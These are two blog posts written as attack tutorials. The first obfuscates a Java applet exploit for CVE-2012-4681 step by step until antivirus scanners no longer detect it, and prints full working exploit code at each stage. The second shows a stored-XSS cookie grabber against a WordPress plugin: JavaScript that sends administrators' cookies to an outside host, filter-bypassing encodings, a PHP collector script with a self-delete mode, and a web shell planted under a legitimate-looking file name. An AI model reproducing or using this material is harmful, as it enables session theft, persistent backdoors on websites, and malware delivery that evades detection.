Thursday, November 15, 2012

Java Exploit Code Obfuscation and Antivirus Bypass/Evasion (CVE-2012-4681)

Why not play a game where we try to make the latest (at time of writing) public java exploit (CVE-2012-4681) undetected by all antivirus and see who will be the last to detect it ?. I think it will be a funny "challenge" because evading antivirus has always his charm.

I will not use software obfuscators like proGuard, Allatori, Zelix KlassMaster etc... This because will not be funny. This is not intended to be an analysis or explanation because there are already great post here:

Before we start we need to make two considerations:
  • From The Current Web-Delivered Java 0DaySo while you may see a few links to Virustotal with the inevitable complaining that a scanner is missing a specific chunk of altered code along with innaccurate claims that "AV is dead!" or "AV can't detect it", you should take them for the grain of salt that they are. The real story about client side mass exploitation is more complex than those claims.
  • The sequence of bypassed antivirus mainly depends on how i modify the exploit/flow.

Last Antivirus Standing

Who will be the last ? make your guess.

Let's start just copying the code from jduck poc taken from here: http://pastie.org/4594319. Upload compiled applet (.class file) to virustotal and we start with a detection of 23/43, first popular fall are from  Kaspersky, McAfee, Panda.


Virustotal link here.
Full image here.

One important thing are strings, as you can see there are few of them, for example (sun.awt.SunToolkit, file://, forName etc..). On step to bring down detection is to obfuscate these strings. For example
sun.awt.SunToolkit will become a char array. There are a lot of other ways to obfuscate a string  for example using StringBuilder, hex to ascii, decimal to ascii, string.replace and so on.

// setSecurityManager
String secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34";
//sun.awt.SunToolkit
char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'};
// file
char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47};
// forName
String   ad = "or",me = "me", aw = "f", kl = "Na";
// getField
String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567"; 

Once done, compile and reupload it again.


Virustotal link here.
Full image here.
Code here.

As you can see just obfuscating a bunch of strings can decrease antivirus detection. Twelve antivirus are out of the game, most notable defeats are from Microsoft, Symantec, TrendMicro and DrWeb.

Now we can clean a bit the code because we don't need functions like paint. In addition we change applet name from Gondvv to Java, merge code from setField with diableSecurity and have a function named disableSecurity  is not a good thing. Now the code will look like this.

public class Java extends Applet
{
    // setSecurityManager
    setSecurityManagerString secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34";
    //sun.awt.SunToolkit
    char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'};
    // file
    char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47};
    // forName
    String   ad = "or",me = "me", aw = "f", kl = "Na";
    // getField
    String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567"; 

    public void enableSecurity() throws Throwable
    {
        Statement localStatement = new Statement(System.class, secMan.replaceAll("\\d",""), new Object[1]);
        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());
        ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL(new String(file)), new Certificate[0]), localPermissions);
        AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
            localProtectionDomain
        });
        
        Object arrayOfObject[] = new Object[2];
        arrayOfObject[0] = Statement.class;
        arrayOfObject[1] = "a"+"c"+"c";
        Expression localExpression = new Expression(GetClass(new String(sun)), field.replaceAll("\\d",""), arrayOfObject);
        localExpression.execute();
        ((Field)localExpression.getValue()).set(localStatement, localAccessControlContext);
        
        localStatement.execute();
    }

    public void init()
    {
        try
        {
            enableSecurity();
            Runtime.getRuntime().exec("calc");
        }
        catch(Throwable t){}
    }
    
    private Class GetClass(String paramString) throws Throwable
    {
        Object arrayOfObject[] = new Object[1];
        arrayOfObject[0] = paramString;
        Expression localExpression = new Expression(Class.class, aw+ad+kl+me, arrayOfObject);
        localExpression.execute();
        return (Class)localExpression.getValue();
    }    
}

Once again compile and reupload.



Virustotal link here.
Full image here.

Ratio is 9/44, Avast and MicroWorld-eScan fall under a simple function/class renaming. Now we modify a bit the flow and renaming all variables, for example localPermissions will be pe. Once again reupload to virustotal.

Damn detection ratio still 9/44 (same picture above). How we can drop detection ? simple, do the same thing but in another way. When i try to make an exploit to be undetected by antivirus i start testing line by line following the flow of the exploit and see which line trigger some antivirus. In this case from line 32 we start triggering F-Secure.




Another tip is to remove some variables and see if detection ratio change, in this case if we remove Statement.class and substitute it with null detection will go from 9/44 to 7/44.




Virustotal link here.

Thus, can i retrieve Statement class in another way ? For sure and we have this method under our nose because instead of using other ways like Class.forname("Statment") we can use GimmeClass.


Reupload .class file to virustotal and let's see if that works.


Virustotal link here.
Full image here.

Code here.

public class Java extends Applet
{
  // setSecurityManager
   String secMan = "22s234e34523454tS345e334545c345u5356r67i6t6y4354834M90a6n4a4g345e34r34";
    //sun.awt.SunToolkit
    char sun[] = {'s','u','n','.','a','w','t','.','S','u','n','T','o','o','l','k','i','t'};
    // file
    char file[] = {(char)102,(char)105,(char)108,(char)101,(char)58,(char)47,(char)47,(char)47};
    // forName
    String   ad = "or",me = "me", aw = "f", kl = "Na";
    // getField
    String field = "789g8795e456"+"5t5765F5675"+"567i6765e756"+"567l567d567";

public void enableSecurity() throws Throwable
{
   Object ao[] = new Object[2];
   ao[0] = GimmeClass("java.beans.Statement"); //Statement.class;
   ao[1] = "a"+"c"+"c";

   Expression e = new Expression(GimmeClass(new String(sun)), field.replaceAll("\\d",""), ao);
   e.execute();
   Field field = (Field)e.getValue();


   Permissions pe = new Permissions();
   pe.add(new AllPermission());

   CodeSource cs = new CodeSource(new URL(new String(file)), new Certificate[0]);
   ProtectionDomain pd = new ProtectionDomain(cs, pe);

   AccessControlContext ac = new AccessControlContext(new ProtectionDomain[] { pd });

   Statement stat = new Statement( System.class,secMan.replaceAll("\\d",""), new Object[1]);
   field.set(stat, ac);
   stat.execute();
}

public void init()
{
   try
   {
      enableSecurity();
      Runtime.getRuntime().exec("calc");
   }
    catch(Throwable t){}
}

  private Class GimmeClass(String ps) throws Throwable
  {
     Expression le = new Expression(Class.class, aw+ad+kl+me, new Object[] {ps});
     le.execute();
      return (Class)le.getValue();
  }    
}
Now detection ration is 7/44 and AVG and ESET are gone.

Again we remove some part of the code to see where detection will change. If we delete last three lines of code detection will be 0/44. But these lines instantiate a class and call a method, how we can do this in another way ? Simple, we use reflection.

From Stackoverflow:
The name reflection is used to describe code which is able to inspect other code in the same system (or itself).
For example, say you have an object of an unknown type in Java, and you would like to call a 'doSomething' method on it if one exists. Java's static typing system isn't really designed to support this unless the object conforms to a known interface, but using reflection, your code can look at the object and find out if it has a method called 'doSomething', and then, call it if you want to.
Using java documentation from here and there, we instantiate a class and call two methods with reflection.

Before:
Statement stat = new Statement( System.class,secMan.replaceAll("\\d",""), new Object[1]);
field.set(stat, ac);
stat.execute();

After:
Class statClass = GimmeClass("java.beans.Statement");
Constructor con = statClass.getConstructor(new Class[]{ Object.class, String.class, Object[].class});
Object stat = con.newInstance(GimmeClass("java.lang.System"),secMan.replaceAll("\\d",""), new Object[1]);
field.set(stat, ac);
Method m = stat.getClass().getMethod("execute");
m.invoke(stat);

First we check if the exploit works, to see if we messed up something, but no it works. Ok, now upload to virustotal and should be a nice 0/44 detection..



Virustotal link here.
Full image here.
Code here.

Damn we were so close. One antivirus detect our exploit. Guess who is back ?


Since it is the last to detect our exploit Microsoft Security Essentials is the winner of this small competition. This post can't end here because we want to made our exploit fully undetectable. Take a look at these two lines below.

Permissions pe = new Permissions();
pe.add(new AllPermission());

Why not use reflection. Then become:

Class alPerm = Class.forName("java.security.AllPermission");
Class perm   = GimmeClass("java.security.Permissions");
Object pe= perm.newInstance();
Method method = pe.getClass().getMethod("add", GimmeClass("java.security.Permission"));
method.invoke(pe, alPerm.newInstance());

Once uploaded to virustotal detection ratio is ...



Virustotal Link here.
Full image here.
Code here.

Great! If we create a jar file it will be detected ?


Virustotal link here.

As class file it is not detected.

Now we can test it on a windows machine with security essentials installed to see if really works. To do this test i used Windows 8 which has windows defender (security essentilas) installed by default.


It works!. I now this can't proof anything (it's just a picture) but soon i will post a video about this. You can find the video here.

Hope you enjoyed.

Step by step java exploit code: 1/5, 2/5, 3/5, 4/5, 5/5.

References.
- Creating new class instances
- Invoking methods
What are all the different ways to create an object in Java?
How do I invoke a java method when given the method name as a string?

Friday, November 2, 2012

Wordpress Cookie Grabber

In a previous video Wordpress XSS + Internet Explorer 8 Exploit i showed you how you can use a Cross-site scripting vulnerability to redirect a victim with Internet Explorer to a malicious site containing an exploit for version 8. Another way, is to use it as cookie grabber.

From wikipedia:
A cookie, also known as an HTTP cookie, web cookie, or browser cookie, is usually a small piece of data sent from a website and stored in a user's web browser while a user is browsing a website. When the user browses the same website in the future, the data stored in the cookie can be retrieved by the website to notify the website of the user's previous activity.
Basically, when a user visit the "infected" page all cookies of that domain will be sent to a script which will store informations in a file/db or sent via email to the attacker.

After selecting our wordpress target (franksite.dot/wordpress) we use a vulnerability scanner called wpscan developed by ethicalhack3r that is able to gather useful information such as:
  • wordpress version
  • wordpress vulnerabilities (link to exploit-db)
  • all installed plugins
  • plugins vulnerabilities (link to exploit-db)


As we can see, there is a plugin installed called Count per Day which seems to be vulnerable. Results on exploit-db lead to two vulnerabilities for two different versions, therefore first we have to check which version is installed. As many plugins do, inside their folder there is a file with current version, changelog etc.. This plugin isn't different so since its folder is publicly accessible, you can see all files.


After opening readme.txt and see that the current version is 3.2.3 we can focus on the previous exploit found in exploit-db. This version is vulnerable to a stored XSS.

How this vulnerability works. As you can see from the picture below there is a file notes.php which allow everyone to add some notes.


This note can be plain text or html.


This code is viewed in count-per day dashboard and the developer didn't validate the input, but the main problem of this page is that shouldn't be accessible to everyone.


This is a perfect scenario where we can use a cookie grabber, because the code is exeuted only in administrator panel.

How can we get admin cookie ? 

We need two things:
  1. Javascript code that get cookie through document.cookie and send it
  2. A script (php, python, ruby ..) on another server that receive the information and stores it (file, mysql, send email...).
A lot of online examples use a redirection method to get the cookie, like this one:
document.location = "http://scriptlocation.dot/script?c=" + document.cookie 
In this case, this is not acceptable because we want to do it in a stealthiest way. What we have to do is a GET request to a script, so how we can do it in javascript without redirection ?
A clever way is to use the Image object and its src property. Once done the code will look like this:

If we add this code as note, nothing will happen because Count per Day perform a quotes escape.


Since only quotes are escaped we can bypass this filter in two ways:
  1. Convert url in unicode characters 
  2. Use alphanumeric javascript   
Let's try both ways. In the first way we need an ASCII to Unicode convert, i found this site string-fromcharcode-encoder. After conversion our code will look like this:

new Image().src = String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,50,46,51,47,102,111,108,100,101,114,47,103,114,97,98,98,101,114,46,112,104,112,63,99,61) + document.cookie;

Now the code will be executed, because there aren't quotes. A negative thing about this is if the administrator check the source code of the page, he will see the string document.cookie and maybe he will suspect something.

In the second way we transform javascript code into an equivalent sequence of () [] {} ! + characters. A guy named Patricio Palladino made it possible creating a tool availabe here. Now our cookie grabber will look like this:
[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]](([]
-- snip --
Following this way, we obfuscate all the code, but the length is a disadvantage  for a stealthier code. As last thing we need to use javascript escape function, otherwise some cookie characters will be altered, for example instead of % we get |.
new Image().src="http://192.168.2.3/folder/grabber.php?c=" + escape(document.cookie);

Till now we have explained how to get the cookie, now let's start talk about how to store our information. This task is very simple because with few lines of php we can store all incoming cookies in a text file.

Script code:

$file_name      = "cookie.txt";
        $suicide_key    = "password";


        if( isset($_GET['c']) )
        {
                $content = $_GET['c'];
                $content = str_replace(" ", "", $content);
                $lines = explode(";",$content);

                $handle = fopen($file_name,'a');

                fwrite($handle, "----- START\n\n");

                foreach( $lines as $line )
                        fwrite($handle,$line."\n");


                fwrite($handle,"\n----- END\n");
                fclose($handle);

        } 
        else if( isset($_GET['s']) )
        {
                if( strcmp( trim($_GET['s']), $suicide_key ) == 0)
                {
                        unlink($file_name);
                        unlink(__FILE__);
                }
        } 
This code is simple and doesn't need explanations, the only thing is that i also provided a suicide mode in case the attacker wants to delete both files.Once we got the administrator cookie we use Cookies Manager+ a plugin for Firefox that is able to add/remove cookies.



After adding our cookie reload the page and voilĂ ; administrator privileges acquired. Since cookie can change or Count per Day can be removed or updated we need to find a way to create a backdoor (stay persistent). It's here that weevely comes in handy:
Weevely is a stealth PHP web shell that simulate telnet-like connection. It is an essential tool for web application post exploitation, and can be used as stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones.
Hopefully franksite.dot has installed a plugin to manage files, so as administrators we can upload weevely and connect to it.


To be more stealthier we upload again weevely, but this time in another folder (wp-admin) and with a name that it looks like a legit wordpress file.


That's all for now. Enjoy the video.



References:
- Sample penetration test report
https://www.martineve.com/2007/05/23/string-fromcharcode-encoder/
Javascript alphanumeric obfuscator